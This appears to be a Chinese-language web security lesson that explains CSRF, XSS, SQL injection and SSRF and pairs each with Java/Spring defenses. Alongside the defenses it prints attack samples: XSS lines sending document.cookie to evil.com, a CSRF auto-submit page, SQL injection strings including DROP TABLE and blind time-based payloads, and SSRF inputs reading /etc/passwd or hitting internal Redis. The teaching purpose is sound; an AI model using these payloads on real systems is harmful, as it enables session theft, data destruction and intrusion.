226｜Web安全漏洞与防御：CSRF、XSS、SQL注入、SSRF

用户 ──登录──▶ bank.com（获得 Cookie）
  │
  └──访问 evil.com（恶意页面）
        │
        └──自动发起请求──▶ bank.com/transfer?to=hacker&amount=10000
                              │
                              └──浏览器自动携带 bank.com 的 Cookie
                                   │
                                   └──服务端：Cookie 有效 → 执行转账

<!-- evil.com 上的恶意页面 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">

<form id="csrf-form" action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="hacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>

fetch('https://bank.com/api/transfer', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ to: 'hacker', amount: 10000 })
});

// Spring Security 的 CSRF 保护
http.csrf()
    .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());

Set-Cookie: sessionid=abc123; SameSite=Strict

// Spring 拦截器示例
public boolean preHandle(HttpServletRequest request, ...) {
    String origin = request.getHeader("Origin");
    if (origin == null || !allowedOrigins.contains(origin)) {
        response.sendError(403, "CSRF check failed");
        return false;
    }
    return true;
}

// 前端 Axios 拦截器
axios.interceptors.request.use(config => {
    config.headers['X-Requested-With'] = 'XMLHttpRequest';
    return config;
});

攻击者发送链接：https://site.com/search?q=<script>fetch('https://evil.com?cookie='+document.cookie)</script>

服务端代码：
<h1>搜索结果：${request.getParameter("q")}</h1>

浏览器渲染结果：
<h1>搜索结果：<script>fetch('https://evil.com?cookie='+document.cookie)</script></h1>

攻击者提交评论：<script>new Image().src='https://evil.com/steal?c='+document.cookie</script>
             ↓
        存入数据库
             ↓
   其他用户访问评论页面
             ↓
       脚本在所有人浏览器中执行

// 有漏洞的前端代码
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').innerHTML = `欢迎，${name}`;

// 攻击
// https://site.com/welcome?name=<img src=x onerror="alert(document.cookie)">

// 不要这样做
out.println("<div>" + userInput + "</div>");

// 使用模板引擎的自动转义
// Thymeleaf 默认对 th:text 进行 HTML 转义
<div th:text="${userInput}"></div>

// 或使用 OWASP 编码器
String safe = Encode.forHtml(userInput);

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

// 使用 OWASP HTML Sanitizer
PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("b", "i", "p", "br")
    .allowUrlProtocols("https")
    .toFactory();
String safeHtml = policy.sanitize(userInput);

正常查询：
SELECT * FROM users WHERE username = '${username}' AND password = '${password}'

攻击输入：
username: admin' --
password: 任意值

拼接后的 SQL：
SELECT * FROM users WHERE username = 'admin' --' AND password = '任意值'
                                        ↑
                                    -- 后面的部分被注释掉了

-- 绕过登录
' OR '1'='1' --

-- UNION 注入：获取其他表数据
' UNION SELECT username, password FROM admin_users --

-- 堆叠查询（多语句执行）
'; DROP TABLE users; --

-- 逐步猜解数据
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --

-- 利用延时函数判断条件
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --

1. 注册用户名为：admin' --
2. 修改密码时，系统查询当前用户名拼接到 SQL：
   UPDATE users SET password='new' WHERE username='admin' --'
3. 实际执行：UPDATE users SET password='new' WHERE username='admin'
   → 修改了 admin 的密码！

// 有漏洞的代码
String sql = "SELECT * FROM users ORDER BY " + sortField;
// 攻击：sortField = "IF(SLEEP(5), id, username)"

// 安全写法
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();

// JPQL 参数绑定
Query query = entityManager.createQuery(
    "SELECT u FROM User u WHERE u.username = :username"
);
query.setParameter("username", username);

// 危险！
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
Query query = entityManager.createNativeQuery(sql);

private static final Set<String> ALLOWED_COLUMNS = Set.of("id", "username", "create_time");
private static final Set<String> ALLOWED_DIRECTIONS = Set.of("ASC", "DESC");

public List<User> getUsersByOrder(String orderBy, String direction) {
    if (orderBy == null || !ALLOWED_COLUMNS.contains(orderBy)) {
        throw new IllegalArgumentException("Invalid column: " + orderBy);
    }
    if (direction == null || !ALLOWED_DIRECTIONS.contains(direction.toUpperCase())) {
        throw new IllegalArgumentException("Invalid direction: " + direction);
    }
    // 白名单校验通过后，可以安全拼接
    String sql = "SELECT * FROM users ORDER BY " + orderBy + " " + direction.toUpperCase();
    return jdbcTemplate.query(sql, new UserRowMapper());
}

-- 创建受限账号
CREATE USER 'app_user'@'%' IDENTIFIED BY '...';
GRANT SELECT, INSERT, UPDATE, DELETE ON mydb.* TO 'app_user'@'%';
-- 不授予 DROP、ALTER、CREATE 等 DDL 权限

// 生产环境配置
// application.yml
server:
  error:
    include-stacktrace: never
    include-message: never
    include-exception: false

攻击者 ──输入URL──▶ 目标服务器 ──发起请求──▶ 内网资源
                                            │
                                    ┌───────┼───────┐
                                    ▼       ▼       ▼
                                  Redis   MySQL   元数据服务
                                 (未鉴权)  (内网)  (169.254.169.254)

// 有漏洞的图片代理功能
@GetMapping("/proxy")

public byte[ ] proxyImage(@RequestParam String url) {


    return restTemplate.getForObject(url, byte[ ].class);

}

file:///etc/passwd          → 读取本地文件
gopher://127.0.0.1:6379/_*3  → 攻击内网 Redis
dict://127.0.0.1:11211/      → 探测内网 Memcached

http://2130706433/          → 十进制 IP = 127.0.0.1
http://0x7f000001/          → 十六进制 IP = 127.0.0.1
http://127.0.0.1.xip.io/    → DNS 解析到 127.0.0.1
http://[::ffff:127.0.0.1]/  → IPv6 映射
http://localhost/            → 非 IP 形式的本地地址

public class SSRFPrevention {
    private static final Set<String> ALLOWED_HOSTS = Set.of(
        "cdn.example.com",
        "static.example.com"
    );

    public static boolean isAllowed(String url) {
        try {
            URI uri = new URI(url);
            String host = uri.getHost();
            return host != null && ALLOWED_HOSTS.contains(host);
        } catch (URISyntaxException e) {
            return false;
        }
    }
}

public static boolean isInternalAddress(String host) {
    InetAddress address = InetAddress.getByName(host);
    if (address.isLoopbackAddress() ||          // 127.x.x.x
        address.isLinkLocalAddress() ||         // 169.254.x.x
        address.isSiteLocalAddress()) {         // 10.x, 172.16-31.x, 192.168.x
        return true;
    }
    return false;
}

public static boolean isAllowedProtocol(String url) {
    try {
        URI uri = new URI(url);
        String scheme = uri.getScheme();
        return "http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme);
    } catch (URISyntaxException e) {
        return false;
    }
}

1. 攻击者部署：https://evil.com/redirect → 302 → http://169.254.169.254/
2. 目标服务器请求 https://evil.com/redirect
3. IP 检查通过（evil.com 是公网地址）
4. HTTP 客户端自动跟随 302 → 访问了内网元数据服务

RestTemplate restTemplate = new RestTemplate();
// 方案一：禁止自动重定向
restTemplate.setRequestFactory(new HttpComponentsClientHttpRequestFactory() {{
    setHttpClient(HttpClients.custom()
        .disableRedirectHandling()
        .build());
}});

// 方案二：自定义拦截器，每次重定向都检查
// 使用 RestTemplate 的拦截器，在每次请求前校验目标 IP

外网 DMZ 区（Web 服务器）
    │
    ├── 只能访问 ──▶ 业务服务区（应用服务器）
    │                    │
    │                    ├── 只能访问 ──▶ 数据库区
    │                    │
    │                    └── 禁止访问 ──▶ 管理网段
    │
    └── 禁止访问内网其他区域

第一层：输入验证（白名单、类型检查、长度限制）
    ↓ 被绕过
第二层：输出编码（HTML 转义、参数化查询）
    ↓ 被绕过
第三层：安全头（CSP、HttpOnly、SameSite）
    ↓ 被绕过
第四层：WAF / RASP（运行时检测）
    ↓ 被绕过
第五层：最小权限（数据库权限、网络隔离）
    ↓ 被绕过
第六层：监控告警（异常检测、审计日志）

需求阶段 ──▶ 威胁建模（识别攻击面）
    ↓
设计阶段 ──▶ 安全架构评审（STRIDE 模型）
    ↓
开发阶段 ──▶ 安全编码规范 + 静态分析（SAST）
    ↓
测试阶段 ──▶ 安全测试（DAST + IAST + 渗透测试）
    ↓
上线阶段 ──▶ 安全配置检查 + WAF 规则
    ↓
运维阶段 ──▶ 漏洞扫描 + 依赖检查 + 应急响应

// PreparedStatement 无法参数化表名和列名
String sql = "SELECT * FROM " + tableName + " WHERE id = ?";  // tableName 可能来自用户输入
// 攻击者传入 tableName = "users; DROP TABLE orders; --"

PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name LIKE ?");
ps.setString(1, "%" + userInput + "%");  // userInput = "admin" → 正常
// 但 userInput = "%" → 匹配所有用户，虽然不算注入但可能信息泄露

CREATE PROCEDURE search_users(IN keyword VARCHAR(100))
BEGIN
    SET @sql = CONCAT('SELECT * FROM users WHERE name LIKE ''%', keyword, '%''');
    PREPARE stmt FROM @sql;
    EXECUTE stmt;
END

// 危险：JPA 原生查询拼接
String username = request.getParameter("username");
Query q = entityManager.createNativeQuery(
    "SELECT * FROM users WHERE username = '" + username + "'"
);

输入 URL → 解析 Scheme → 只允许 http/https
拒绝：file://, gopher://, dict://, ftp://, jar:// 等

解析域名 → 获取所有 IP 地址（IPv4 + IPv6）
  → 拒绝回环地址：127.0.0.0/8, ::1
  → 拒绝链路本地地址：169.254.0.0/16, fe80::/10
  → 拒绝站点本地地址（内网）：10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7
  → 拒绝特殊地址：0.0.0.0, 224.0.0.0/4（组播）, 240.0.0.0/4（保留）
  → 拒绝云厂商元数据地址：169.254.169.254（AWS/阿里云等）

防御方案：
  → 解析 IP 后立即发起请求，复用同一个 IP（避免二次解析）
  → 或者在请求完成后再次验证目标 IP 是否为内网地址
  → 使用自定义 DNS 解析器，缓存第一次解析结果

配置 HTTP 客户端：
  → 方案 A：完全禁止自动重定向（RestTemplate disableRedirectHandling）
  → 方案 B：自定义重定向拦截器，每次重定向目标也执行第 2 步的 IP 校验

  → 限制请求方法：仅允许 GET
  → 限制响应大小：如最大 10MB（防止下载超大文件耗尽内存）
  → 限制请求超时：连接超时 3s，读取超时 10s
  → 限制 Content-Type：仅接受 image/* 类型
  → 限制端口：仅允许 80, 443（拒绝访问非标准端口上的内网服务）

获取响应后 → 校验 Content-Type 为 image/png, image/jpeg 等
  → 校验文件魔数（Magic Bytes）：
      PNG: 89 50 4E 47
      JPEG: FF D8 FF
      GIF: 47 49 46 38
  → 图片重新编码（去除可能的恶意元数据/polyglot 文件）
  → 保存到 OSS/CDN，使用随机文件名

<!-- CSP 有 'unsafe-inline' → 攻击者的注入直接执行 -->
<div>用户评论：<script>stealCookies()</script></div>  ← 这会被执行！

// 如果有 'unsafe-eval' 且存在 DOM XSS
const userInput = location.hash.slice(1);  // 攻击者控制
eval(userInput);  // 直接执行攻击代码

// 使用 SecureRandom 生成 256-bit 随机 Token
SecureRandom secureRandom = new SecureRandom();

byte[ ] tokenBytes = new byte[32];  // 256 bits

secureRandom.nextBytes(tokenBytes);
String token = Base64.getUrlEncoder().withoutPadding().encodeToString(tokenBytes);
// 结果：43 字符的 URL-safe Base64 字符串，熵值 256 bits

-- 存储 Token 的哈希值，不是明文
CREATE TABLE password_reset_tokens (
    user_id BIGINT NOT NULL,
    token_hash VARCHAR(128) NOT NULL,  -- SHA-256 哈希
    expires_at TIMESTAMP NOT NULL,
    used BOOLEAN DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_token_hash (token_hash),
    INDEX idx_user_id (user_id)
);

服务 A ──出示自己的证书──▶ 服务 B
服务 A ◀──出示自己的证书── 服务 B
双方互相验证证书 → 建立加密通道

服务 A → 获取 Service Token（从认证中心或本地生成）
      → 携带 Token 调用服务 B
服务 B → 验证 Token 签名和有效期

// 服务 A 发请求时携带 Service Token
headers.set("Authorization", "Bearer " + serviceToken);
// 服务 B 验证
@PreAuthorize("hasAuthority('SERVICE_ACCOUNT')")

外部请求 → API Gateway（认证 + 鉴权）→ 服务 A → 服务 B
                                          │
                              传递用户上下文（Header）

// 方案一：通过请求头传递
headers.set("X-User-Id", currentUser.getId());
headers.set("X-User-Roles", String.join(",", currentUser.getRoles()));
headers.set("X-Request-Id", traceId);  // 分布式追踪

// 方案二：传递签名的用户上下文 Token
String userContextToken = JWT.create()
    .withClaim("userId", currentUser.getId())
    .withClaim("roles", currentUser.getRoles())
    .withClaim("originalService", "service-a")
    .withExpiresAt(new Date(System.currentTimeMillis() + 60000))  // 1分钟
    .sign(Algorithm.HMAC256(serviceSharedSecret));
headers.set("X-User-Context", userContextToken);